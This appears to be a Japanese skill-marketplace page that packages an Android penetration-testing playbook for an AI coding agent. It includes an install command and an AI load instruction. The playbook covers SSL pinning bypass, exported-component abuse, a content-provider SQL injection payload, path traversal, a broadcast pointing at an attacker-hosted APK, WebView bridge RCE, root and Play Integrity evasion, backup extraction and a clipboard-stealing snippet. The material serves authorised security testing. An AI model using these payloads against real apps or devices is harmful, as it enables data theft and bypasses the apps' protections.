mcpField
A
android-pentesting-tricks

android-pentesting-tricks

github.com/yaklangセキュリティ2.6k4.1k 回インストール6 週間前に更新
リポジトリ

android-pentesting-tricks について

android-pentesting-tricksは、Androidアプリを調査するセキュリティテスター向けのスキル集です。通信傍受の制限、公開コンポーネント、WebViewのリスク、Intentリダイレクト、Root検出、端末整合性制御を扱います。

主な機能

  1. 01SSLピンニングの回避手法
  2. 02公開コンポーネントの調査
  3. 03WebView脆弱性の分析
  4. 04Intentリダイレクトのテスト
  5. 05Root検出と整合性制御の回避

活用シーン

  1. 01許可済みテストでのアプリHTTPS通信の傍受
  2. 02公開Activity、サービス、Providerの確認
  3. 03ディープリンクとWebView入力処理のテスト
  4. 04Root化したテスト端末でのアプリ動作の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill android-pentesting-tricks

インストール後、Claude Code で/android-pentesting-tricksを入力して読み込まれたか確認します。

同梱ファイルFRIDA_SCRIPTS.md

詳細

SKILL: Android ペンテストのテクニック — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:Android アプリケーションのセキュリティテストに関するエキスパート向けテクニックです。SSL ピンニングのバイパス(Frida/Objection/LSPosed)、コンポーネントの公開、WebView の悪用、インテントのリダイレクト、ルート検出のバイパス、Play Integrity の回避を扱います。ベースモデルでは、Frida のフックの詳細や多層バイパスチェーンが見落とされます。

0. 関連するルーティング

詳しく調べる前に、次の読み込みを検討してください。

  • mobile-ssl-pinning-bypass:クロスプラットフォームの SSL ピンニングバイパス手法や、フレームワーク固有のフックについて詳しく調べる場合
  • ios-pentesting-tricks:同じアプリの iOS 版もテストする場合
  • api-sec:通信を傍受した後に、バックエンド API のセキュリティテストを行う場合
高度なリファレンス

次の場合は、FRIDA_SCRIPTS.md も読み込んでください。

  • Android の一般的なテストタスク向けの、すぐに使える Frida スクリプトテンプレートが必要な場合
  • OkHttp、Retrofit、Volley、WebView の詳細なフックポイントが必要な場合
  • ルート検出をバイパスするスクリプト集が必要な場合

1. SSL ピンニングのバイパス

1.1 Frida による汎用バイパス
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
フックポイントライブラリ/クラス対象範囲
X509TrustManager.checkServerTrustedAndroid SDKすべての標準 HTTPS
OkHttpClient.Builder.sslSocketFactoryOkHttp 3.x/4.xSquare OkHttp
CertificatePinner.checkOkHttp 3.x/4.xOkHttp のピンニング
HttpsURLConnection.setSSLSocketFactoryAndroid SDKレガシー HTTPS
SSLContext.initAndroid SDKカスタム SSL コンテキスト
WebViewClient.onReceivedSslErrorWebViewWebView の SSL エラー
TrustManagerFactory.getTrustManagersAndroid SDKファクトリーで作成された TM
1.2 Objection(簡易的な方法)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
1.3 ネットワークセキュリティ設定(デバッグビルド)

APK を変更できる場合、またはデバッグビルドの場合:


<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  
    </trust-anchors>
  </debug-overrides>
</network-security-config>
1.4 Magisk モジュールを使う方法
モジュール方法適用範囲
LSPosed + TrustMeAlreadyシステム全体の TrustManager にフックすべてのアプリ
LSPosed + SSLUnpinning対象を限定した SSL バイパスアプリ単位
MagiskTrustUserCertsユーザー CA をシステムストアに移動システム CA を信頼するすべてのアプリ
ConscryptTrustUserCertsConscrypt にパッチを適用新しいバージョンの Android(7 以降)

2. コンポーネントの公開

2.1 エクスポートされたアクティビティ
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"
2.2 コンテンツプロバイダー
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
プロバイダーの種類攻撃手法影響
データベースを使用query() の projection/selection を介した SQL インジェクションデータ漏えい、認証バイパス
ファイルを使用URI を介したパストラバーサル任意のファイルの読み取り
Parcelableカスタム Parcelable における型の混同コード実行
2.3 ブロードキャストレシーバー
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
2.4 エクスポートされたサービス
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target

3. WebView の脆弱性

3.1 JavaScript インターフェースによる RCE(API 17 より前)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')
3.2 最新の WebView に対する攻撃
脆弱性条件エクスプロイト
setJavaScriptEnabled(true) + 信頼されていないコンテンツJS が有効で、攻撃者が読み込まれる URL を制御できるXSS → ブリッジアクセス
setAllowFileAccessFromFileURLs(true)file:// から他の file:// を読み取れるfile:///data/data/com.target/... を読み込む
setAllowUniversalAccessFromFileURLs(true)file:// から任意のオリジンにアクセスできる攻撃者への XHR を介してデータを窃取
loadUrl(user_controlled)loadUrl にユーザー入力が使われるjavascript: スキームまたは file://
shouldOverrideUrlLoading のバイパスURL 検証が不完全攻撃者が制御するページへリダイレクト
汚染データを使った evaluateJavascriptJS の実行にユーザーデータが使われるWebView コンテキスト内の XSS
3.3 ディープリンクから WebView への連鎖
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions

4. インテントのリダイレクト

エクスポートされたアクティビティがインテントを受け取り、受信したインテントのデータを使用して別の(内部)アクティビティを開始します。

// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
パターン指標リスク
getParcelableExtra → startActivityインテント内のインテントエクスポートされていないアクティビティを開始する
getStringExtra("url") → startActivity(Intent.ACTION_VIEW)URL 転送任意の URL を開く
getStringExtra("class") → Class.forName → startActivity動的なクラス読み込み名前を指定して任意のアクティビティを開始する

5. ルート検出の回避

5.1 一般的なルート検出チェック
チェック検出対象Frida による回避
su バイナリの存在/system/xbin/su、/sbin/suFile.exists() をフック → false を返す
ビルドタグに "test-keys" が含まれるBuild.TAGSBuild.TAGS をフック → "release-keys" を返す
Magisk Manager のインストールパッケージ名のチェックPackageManager.getPackageInfo をフック
Superuser.apk の存在ルート管理アプリFile.exists() をフック
RootBeer ライブラリ複数のルート検出チェックRootBeer のすべてのチェックメソッドをフック
SafetyNet/Play Integrityサーバー側のアテステーションMagisk DenyList とモジュールが必要
異常なシステムプロパティro.debuggable=1 などSystemProperties.get をフック
5.2 Magisk DenyList(以前の MagiskHide)
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props

6. PLAY INTEGRITY/SAFETYNET の回避

レベルチェック内容回避の難易度
基本的な整合性ルート化されていないこと、エミュレーターではないこと簡単(Magisk + DenyList)
デバイスの整合性ブートローダーがロックされていること、検証済みブート難しい(ロック済みブートローダーが必要)
強力な整合性ハードウェアに裏打ちされたアテステーション非常に難しい(ハードウェア TEE)

手法:

  • Zygisk を有効にした Magisk + 対象アプリ用の DenyList
  • Play Integrity Fix(PIF)Magisk モジュール:デバイスのフィンガープリントを偽装します
  • Shamiko モジュール:特定のアプリからルート化を隠します
  • ブートローダーがロックされたカスタム ROM(Pixel 固有の手法)

7. タップジャッキング(オーバーレイ攻撃)


<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>


Android のバージョン保護機能回避方法
6.0 より前なし完全なオーバーレイ
6.0~11filterTouchesWhenObscured(オプトイン)これを使用していないアプリは脆弱です
12 以降オーバーレイウィンドウからの信頼されていないタッチをブロック部分的なオーバーレイ、タイミングベース

8. バックアップの抽出

# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)

# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data

9. その他のテクニック

9.1 デバッグ可能なアプリの悪用
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
9.2 Drozer(コンポーネントテストフレームワーク)
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
9.3 クリップボードの盗み見
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // Exfiltrate copied passwords, tokens, etc.
});

10. Android ペネトレーションテストの判断フローチャート

Testing Android application
│
├── Can intercept HTTPS traffic?
│   ├── No → SSL pinning in place
│   │   ├── Frida available? → universal SSL bypass script (§1.1)
│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── Debug build? → Network Security Config (§1.3)
│   │   └── None above? → manual decompile + patch + repackage
│   └── Yes → proceed to traffic analysis
│
├── Exported components found?
│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│   ├── Content Providers → SQLi, path traversal (§2.2)
│   ├── Broadcast Receivers → crafted intent injection (§2.3)
│   └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│   ├── File access enabled? → file:// scheme abuse (§3.2)
│   └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│   ├── Client-side checks only? → Frida hook bypass (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│   ├── allowBackup=true? → ADB backup extraction (§8)
│   ├── Debuggable? → run-as for direct data access (§9.1)
│   └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
    └── Overlay possible? → tapjacking (§7)

コメント